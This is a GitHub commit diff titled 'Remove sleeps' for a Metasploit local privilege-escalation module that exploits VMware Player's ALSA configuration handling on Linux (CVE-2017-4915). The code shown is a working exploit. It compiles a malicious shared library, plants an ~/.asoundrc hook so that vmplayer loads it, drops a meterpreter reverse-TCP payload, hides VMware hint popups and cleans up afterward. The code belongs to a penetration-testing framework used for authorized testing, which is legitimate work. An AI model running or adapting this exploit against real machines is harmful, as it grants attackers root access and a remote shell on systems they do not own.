Skip to content

Commit c153788

Browse files
committed
Remove sleeps
1 parent f259682 commit c153788

File tree

1 file changed

+26
-36
lines changed

1 file changed

+26
-36
lines changed

modules/exploits/linux/local/vmware_alsa_config.rb

Lines changed: 26 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http://metasploit.com/download
2+
# This module requires Metasploit: https://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -27,6 +27,7 @@ def initialize(info = {})
2727
[ 'CVE', '2017-4915' ],
2828
[ 'EDB', '42045' ],
2929
[ 'BID', '98566' ],
30+
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
3031
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
3132
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
3233
],
@@ -46,7 +47,7 @@ def initialize(info = {})
4647
'DefaultOptions' =>
4748
{
4849
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
49-
'WfsDelay' => 15,
50+
'WfsDelay' => 30,
5051
'PrependFork' => true
5152
},
5253
'DefaultTarget' => 1,
@@ -60,7 +61,6 @@ def initialize(info = {})
6061

6162
def has_prereqs?
6263
vmplayer = cmd_exec 'which vmplayer'
63-
Rex.sleep 0.5
6464
if vmplayer.include? 'vmplayer'
6565
vprint_good 'vmplayer is installed'
6666
else
@@ -69,7 +69,6 @@ def has_prereqs?
6969
end
7070

7171
gcc = cmd_exec 'which gcc'
72-
Rex.sleep 0.5
7372
if gcc.include? 'gcc'
7473
vprint_good 'gcc is installed'
7574
else
@@ -88,7 +87,6 @@ def check
8887

8988
begin
9089
config = read_file '/etc/vmware/config'
91-
Rex.sleep 0.5
9290
rescue
9391
config = ''
9492
end
@@ -117,16 +115,15 @@ def exploit
117115
end
118116

119117
@home_dir = cmd_exec 'echo ${HOME}'
120-
Rex.sleep 0.5
121118
unless @home_dir
122119
print_error "Could not find user's home directory"
123120
return
124121
end
122+
@prefs_file = "#{@home_dir}/.vmware/preferences"
125123

126-
fname = rand_text_alphanumeric rand(10) + 5
127-
@base_dir = "#{datastore['WritableDir']}/.#{fname}"
124+
fname = ".#{rand_text_alphanumeric rand(10) + 5}"
125+
@base_dir = "#{datastore['WritableDir']}/#{fname}"
128126
cmd_exec "mkdir #{@base_dir}"
129-
Rex.sleep 0.5
130127

131128
so = %Q^
132129
/*
@@ -159,11 +156,9 @@ def exploit
159156
^
160157
vprint_status "Writing #{@base_dir}/#{fname}.c"
161158
write_file "#{@base_dir}/#{fname}.c", so
162-
Rex.sleep 0.5
163159

164160
vprint_status "Compiling #{@base_dir}/#{fname}.o"
165161
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
166-
Rex.sleep 0.5
167162
unless output == ''
168163
print_error "Compilation failed: #{output}"
169164
return
@@ -195,71 +190,66 @@ def exploit
195190
|
196191
vprint_status "Writing #{@base_dir}/#{fname}.vmx"
197192
write_file "#{@base_dir}/#{fname}.vmx", vmx
198-
Rex.sleep 0.5
199193

200194
vprint_status "Writing #{@base_dir}/#{fname}.elf"
201195
write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe
202-
Rex.sleep 0.5
203196

204197
vprint_status "Setting #{@base_dir}/#{fname}.elf executable"
205198
cmd_exec "chmod +x #{@base_dir}/#{fname}.elf"
206-
Rex.sleep 0.5
207199

208200
asoundrc = %Q|
209201
hook_func.pulse_load_if_running {
210-
lib "#{@base_dir}/#{fname}.so"
211-
func "conf_pulse_hook_load_if_running"
202+
lib "#{@base_dir}/#{fname}.so"
203+
func "conf_pulse_hook_load_if_running"
212204
}
213205
|
214206
vprint_status "Writing #{@home_dir}/.asoundrc"
215207
write_file "#{@home_dir}/.asoundrc", asoundrc
216-
Rex.sleep 0.5
217208

218209
vprint_status 'Disabling VMware hint popups'
219210
unless directory? "#{@home_dir}/.vmware"
220211
cmd_exec "mkdir #{@home_dir}/.vmware"
221-
Rex.sleep 0.5
222-
@remove_prefs = true
212+
@remove_prefs_dir = true
223213
end
224214

225-
if file? "#{@home_dir}/.vmware/preferences"
215+
if file? @prefs_file
226216
begin
227-
prefs = read_file "#{@home_dir}/.vmware/preferences"
228-
Rex.sleep 0.5
217+
prefs = read_file @prefs_file
229218
rescue
230219
prefs = ''
231220
end
232221
end
233222

234-
if prefs.nil? || prefs == ''
223+
if prefs.blank?
235224
prefs = ".encoding = \"UTF8\"\n"
236225
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
237226
prefs << "hints.hideAll = \"TRUE\"\n"
227+
@remove_prefs_file = true
238228
elsif prefs =~ /hints\.hideAll/i
239229
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
240230
else
241231
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
242232
end
243-
vprint_status "Writing #{@home_dir}/.vmware/preferences"
244-
write_file "#{@home_dir}/.vmware/preferences", prefs
245-
Rex.sleep 0.5
233+
vprint_status "Writing #{@prefs_file}"
234+
write_file "#{@prefs_file}", prefs
246235

247236
print_status 'Launching VMware Player...'
248237
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
249-
Rex.sleep 0.5
250238
end
251239

252240
def cleanup
253-
print_status "Removing #{@base_dir}"
254-
cmd_exec "rm #{@base_dir} -rf"
255-
Rex.sleep 0.5
241+
print_status "Removing #{@base_dir} directory"
242+
cmd_exec "rm '#{@base_dir}' -rf"
243+
256244
print_status "Removing #{@home_dir}/.asoundrc"
257-
cmd_exec "rm #{@home_dir}/.asoundrc"
258-
Rex.sleep 0.5
259-
if @remove_prefs
260-
print_status "Removing #{@home_dir}/.vmware"
261-
cmd_exec "rm #{@home_dir}/.vmware -rf"
262-
Rex.sleep 0.5
245+
cmd_exec "rm '#{@home_dir}/.asoundrc'"
246+
247+
if @remove_prefs_dir
248+
print_status "Removing #{@home_dir}/.vmware directory"
249+
cmd_exec "rm '#{@home_dir}/.vmware' -rf"
250+
elsif @remove_prefs_file
251+
print_status "Removing #{@prefs_file}"
252+
cmd_exec "rm '#{@prefs_file}' -rf"
263253
end
264254
end
265255

0 commit comments

Comments
 (0)